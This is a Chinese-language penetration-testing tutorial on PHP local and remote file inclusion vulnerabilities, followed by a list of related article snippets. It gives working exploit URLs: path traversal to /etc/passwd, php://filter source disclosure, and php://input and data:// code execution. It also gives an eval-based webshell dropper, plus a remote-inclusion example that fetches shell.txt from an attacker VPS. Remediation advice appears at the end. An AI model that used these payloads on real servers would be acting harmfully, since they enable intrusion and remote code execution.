详解PHP渗透测试文件包含漏洞与利用

目录
  • 什么是文件包含漏洞
  • 文件包含漏洞的分类
  • 本地文件包含
    • 漏洞&利用
      • 利用条件(以PHP为例)
      • 直接访问文件
      • 利用协议读取源代码
      • 截断%00
      • 长度截断
    • PHP的伪协议
      • file://
      • php://
      • data://
      • phar://
    • 远程文件包含
      • 漏洞利用
      • 远程包含webshell
      • 代码审计
    • 修复建议

什么是文件包含漏洞

文件包含,在网站开发人员开发网站时,会将经常重复的代码写道一个单独的文件中,在别的文件中可以使用文件包含的函数来引用单独的文件。目前很多语言都支持文件包含,例如php(inchude,require,inchude_once,require_once)等,,也就是包含文件包含函数,其目的就是减少代码重复,提高代码优化效率,减少函数重复的使用。

文件包含产生的漏洞,因为有这些文件包含的函数,当我们有一定权限(可读)的时候,我们就可以利用文件包含函数包含我们语言指定的文件,或者是包含本地服务器中的文件。简而言之,当php语言在引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过效验,或者没有经过过滤被绕过,从而引用别的文件,导致的恶意代码注入

文件包含漏洞的分类

大体可以分为:本地文件包含和远程文件包含。

远程文件包含:开启条件,在php.ini配置文件中开启allow_url_fopen和allow_url_include,包含文件是第三方文件

本地文件包含:就是本地服务器上的文件

一旦远程包含可以开启,那么远程包含的漏洞比本地包含的漏洞更加的直接,危害也更加的大,可以随意的包含任意主机的任意文件。

本地文件包含

顾名思义,引用本地文件,利用inchude包含函数包含本地(服务器)文件。

漏洞&利用

利用条件(以PHP为例)

1.inchude,等函数通过动态变量引入

2.用户能自动控制动态变量

什么是动态变量?

我们可以这么理解,例如一个网站 http://127.0.0.1/inchude.php?in=../../../etc/passwd,那么此时的?in=../../../etc/passwd是我们动态可以操作的变量

直接访问文件

?xx=/etc/passwd     #直接访问passwd敏感文件
?xx=../../../etc/passwd

利用协议读取源代码

?xx=php://filter/read=convert.base64-encode/resource=xx.php    #这样能看到php文件的源码

截断%00

这里假设漏洞代码为

<?php
if(isset($_GET['shell']))
{
    include($_GET['shell'].".php");  //包含文件后会加上.php,并进行访问
}else{
    include(index.php);
 }
?>

假设这样正常的网站,我们上传一个图片马文件为tpm.jpg,此时我们需要访问图片时网址就会报错,此时url=http://127.0.0.1/index.php?shell=tpm.jpg.php,此时文件中并没有该文件,此时我们就可以在.jpg后添加%00进行截断,可能可以绕过。

条件:php.inimagic_quotes_qpc=off并且PHP版本< 5.3.4的情况。

长度截断

漏洞代码演示

<?php
$file=$_GET['shell'];
include($file.'.jpg');
?>

与上面原理差不多,在1.txt中写下

当知晓对方服务器的而前提下,我们可以使用超出服务器的解析特征,进行一个绕过。

条件:Windows长度是‘/.’长于256,Linux长度是‘/.’长于4096

PHP的伪协议

file://

作用:

访问本地文件,在CTF中常用文件包含题型

条件:

allow_url_fopen=off/on

allow_url_inchude=off/on

实例:

文件的绝对路径和文件名
http://127.0.0.1/include.php?file=file://C:\phpStudy\PHPTutorial\WWW\phpinfo.txt
文件的相对路径和文件名
http://127.0.0.1/include.php?file=./phpinfo.txt
网络路径和文件名
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

php://

作用:

php:// 访问输入输出流(i/o)

这里介绍两种常用类型:

php://filter 用于读取源码

php://input 用于执行PHP代码

条件:

allow_url_fopen=off/on

allow_url_inchude=off/on

实例

php://filter/read=convert.base64-encode/resource=[文件名]  //base64读取文件源码

http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

php://input + POST执行php代码

http://127.0.0.1/include.php?file=php://input[POST DATA部分] <?php phpinfo(); ?>

如果具有一定的写入权限,POST 写入一句话木马

<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

data://

条件 :

allow_url_fopen=on

allow_url_inchude=on

作用:

在PHP>=5.2.0起,可以使用data://数据封装器,传递数据相应格式的数据

可以执行PHP代码

实例

#1.data://text/plain,

http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

#2.data://text/plain;base64,

http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

phar://

phar://协议与zip://类似,同样可以访问zip格式压缩包内容

http://127.0.0.1/include.php?file=phar://C:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

利用条件 PHP > 5.3

要想使用Phar类里的方法,必须将phar.readonly=on/off,利用 phar 协议可以拓展 php 反序列化漏洞攻击面

远程文件包含

服务器通过PHP的函数去包含任意文件时,由于要包含的这个文件过滤不严格,从而可以去包含一个恶意文件,从而达到攻击的目的

漏洞利用

条件:

allow_url_include = OFF

allow_url_fopen = OFF

远程包含webshell

?xxx=http://攻击者的VPS/shell.txt
#会在网站目录生成名为 shell.php 的一句话木马

shell.txt内容为:

<?php
    fputs(fopen('./shell.php','w'),'<?php @eval($_POST[123]) ?>');
?>

代码审计

文件包含用到的函数

include()        //使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。
inclue_once()    //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。
 
require()        //使用此函数,只要程序执行,立即调用此函数包含文件发生错误时,会输出错误信息并立即终止程序。
require_once()    //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。

代码审计的时候全局搜索以上函数

如果是基于图像上传的 ,要搜$_FILES 变量, 因为PHP处理上传文件的功能,基本都与$_FILES有关。

查看目录结构,重点关注includes、modules等文件夹,查看index.php等文件是否动态调用过这些内容,变量是否可控。

修复建议

  • 禁止远程文件包含 allow_url_include=off
  • 配置 open_basedir=指定目录,限制访问区域。
  • 过滤../等特殊符号
  • 修改Apache日志文件的存放地址
  • 开启魔术引号 magic_quotes_qpc=on
  • 尽量不要使用动态变量调用文件,直接写要包含的文件。

到此这篇关于详解PHP渗透测试文件包含漏洞与利用的文章就介绍到这了,更多相关PHP文件漏洞与利用内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • php 伪造本地文件包含漏洞的代码

    代码: 复制代码 代码如下: <?php $page=$_GET['page']; include($page.'php'); ?> 你可以这样使用 http://www.xxx.com/index.php?page=../etc/passwd http://www.xxx.com/index.php?page=../../../etc/passwd http://www.xxx.com/index.php?page=..../../etc/passwd 获取更多数据: etc/profile

  • 你不知道的文件上传漏洞php代码分析

    漏洞描述 开发中文件上传功能很常见,作为开发者,在完成功能的基础上我们一般也要做好安全防护. 文件处理一般包含两项功能,用户上传和展示文件,如上传头像. 文件上传攻击示例 upload.php <?php $uploaddir = 'uploads/'; $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); if (move_uploaded_file($_FILES['userfile']['tmp_name'],

  • php 远程包含文件漏洞分析第1/6页

    几乎所有的cgi程序都有这样的 bug,只是具体的表现方式不一样罢了. 一.涉及到的危险函数[include(),require()和include_once(),require_once()] include() && require()语句:包括并运行指定文件. 这两种结构除了在如何处理失败之外完全一样.include() 产生一个警告而 require() 则导致一个致命错误.换句话说,如果你想在遇到丢失文件时停止处理页面就用 require().include() 就不是这样,脚本

  • php安全攻防利用文件上传漏洞与绕过技巧详解

    目录 前言 文件上传漏洞的一些场景 场景一:前端js代码白名单判断.jpg|.png|.gif后缀 场景二:后端PHP代码检查Content-type字段 场景三:代码黑名单判断.asp|.aspx|.php|.jsp后缀 场景四:代码扩大黑名单判断 绕过方式--htaccsess: 绕过方式--大小写绕过: 场景五:一些复合判断 空格.点绕过(windows) ::$DATA绕过(windows) 双写绕过 %00截断 %0a绕过 图片马绕过 二次渲染绕过 条件竞争 /.绕过 前言 文件上传漏

  • PHP 网络开发详解之远程文件包含漏洞

    以下代码(Code)实现了根据浏览器地址栏参数的文件名称包含不同文件的功能. 复制代码 代码如下: <?php $file_name = $_GET["filename"]; //获得当前文件名 include("$file_name "); //包含文件 //一些其他操作 ?> 这时,通过在地址栏上指定不同的文件名就可以实现包含不同文件并执行的功能.例如,通过在浏览器上访问http://localhost/test.php?filename=myinc

  • php 上传文件类型判断函数(避免上传漏洞 )

    复制代码 代码如下: function ($file_name,$pass_type=array('jpg','jpeg','gif','bmp','png')){ $yx_file = $pass_type; $kzm = substr(strrchr($file_name,"."),1); $is_img = in_array(strtolower($kzm),$yx_file); if($is_img){ return true; }else{ return false; } }

  • 详解 Python 读写XML文件的实例

    详解 Python 读写XML文件的实例 Python 生成XML文件 from xml.dom import minidom # 生成XML文件方式 def generateXml(): impl = minidom.getDOMImplementation() # 创建一个xml dom # 三个参数分别对应为 :namespaceURI, qualifiedName, doctype doc = impl.createDocument(None, None, None) # 创建根元素 r

  • 详解Java读取本地文件并显示在JSP文件中

    详解Java读取本地文件并显示在JSP文件中 当我们初学IMG标签时,我们知道通过设置img标签的src属性,能够在页面中显示想要展示的图片.其中src的值,可以是磁盘目录上的绝对,也可以是项目下的相对路径,还可以是网络上的图片路径.在存取少量图片的情况下,采用相对路径存储图片的情况下最方便,也最实用.但是当图片数量过多时,这种方式就显的有些掣肘了. 当系统的图片数量过多时,如果仍把这些图片当做项目的一部分去发布,势必会大大延长项目的发布时间及更新时间.对于某些对于时限性要求特别高的系统来说,采

  • 详解python中的文件与目录操作

    详解python中的文件与目录操作 一 获得当前路径 1.代码1 >>>import os >>>print('Current directory is ',os.getcwd()) Current directory is D:\Python36 2.代码2 如果将上面的脚本写入到文件再运行 Current directory is E:\python\work 二 获得目录的内容 Python代码 >>> os.listdir (os.getcwd

  • DedeCMS 5.7 sp1远程文件包含漏洞(CVE-2015-4553)

    一.漏洞描述 该漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当,导致变量覆盖,以至于最后引起远程文件包含漏洞. 二.漏洞影响版本 DeDeCMS < 5.7-sp1,包括5.7 sp1版本 三.漏洞环境搭建 1.下载DeDeCMS V5.7 SP1,然后放到phpstudy环境下的www目录下,然后浏览器访http://192.168.10.171/dedecms/uploads/install/index.php 2.点击我已阅读并继

  • 详解Linux命令与文件查找

    一.执行文件名查找 which(查找'执行文件')  //根据PATH环境变量所规范的路径查询 which [-a] command         //其中参数-a是指列出找到所有命令,而非只显示找到的第一个 例如:which ifconfig 二.文件名的查找 1.whereis(寻找特定文件) whereis [-bmsu] filename/directoryname -b :只找二进制的文件 -m :只找在说明文件manual路径下的文件 -s :只找source源文件 -u :查找不

  • 详解Python读取yaml文件多层菜单

    需要用到的Python知识点 Python的对象属性方法: 用到字典{key:value}值的提取: 列表的增加: if循环结合break的使用: yaml文件读取: 代码如下: #!/usr/bin/python34 import sys,os,re,yaml,time #reload(sys) #sys.setdefaultencoding('utf-8') ######################对input输入字符类型判断并转化##################### def in

  • 详解Linux如何将一个文件夹的所有内容授权给某一个用户?

    [问题分析] 我们可以使用chown命令,ch这里代表change(改变)的意思,own代表英文单词的owner(拥有者),连在一起就是 change owner ,改变某个文件或者文件夹的拥有者. 一般只有root用户有使用这个命令的权限,也是经常会使用到的一个命令.问题来了!如果我要把一个文件夹及其所有子内容授权给mysql用户,我该如何 操作呢? [解决方案] 我们可以加 -R 参数来实现 -R : 对目前目录下的所有档案与子目录进行相同的拥有者变更(即以递回的方式逐个变更) 比如 :  

  • 详解Linux命令修改文件的三个时间

    Linux命令如何修改文件的三个时间 本文主要对stat和touch两个命令进行讲解. 如何查看一个文件的元数据呢?可以使用stat命令. File: 'ceshi1'  文件所在路径 Size: 4096       Blocks: 8 文件占据的磁盘块          IO Block: 4096   directory 文件类型 Device: 801h/2049d  文件所在的设备名 Inode: 378  文件索引节点号        Links: 4 被硬链接的次数 Access:

  • 详解Angular Karma测试的持续集成实践

    使用Angular + Karma + Jasmine可以进行前端的单体测试,从前面的文章中我们了解到了Karma的工作原理,它会启动一个指定种类的浏览器,然后在此浏览器中运行测试用例.如果需要进行持续集成,比如结合Jenkins或者其他方式进行自动化的测试,如果需要手动关闭浏览器的操作,或者无法提供图形化的界面的情况保证测试的执行这些都会成为持续集成的障碍,这篇文章整理一下解决的常见方法. 可使用浏览器的测试环境 当测试环境可以使用浏览器,在这台机器上使用ng test则能进行测试,Karma

随机推荐

其他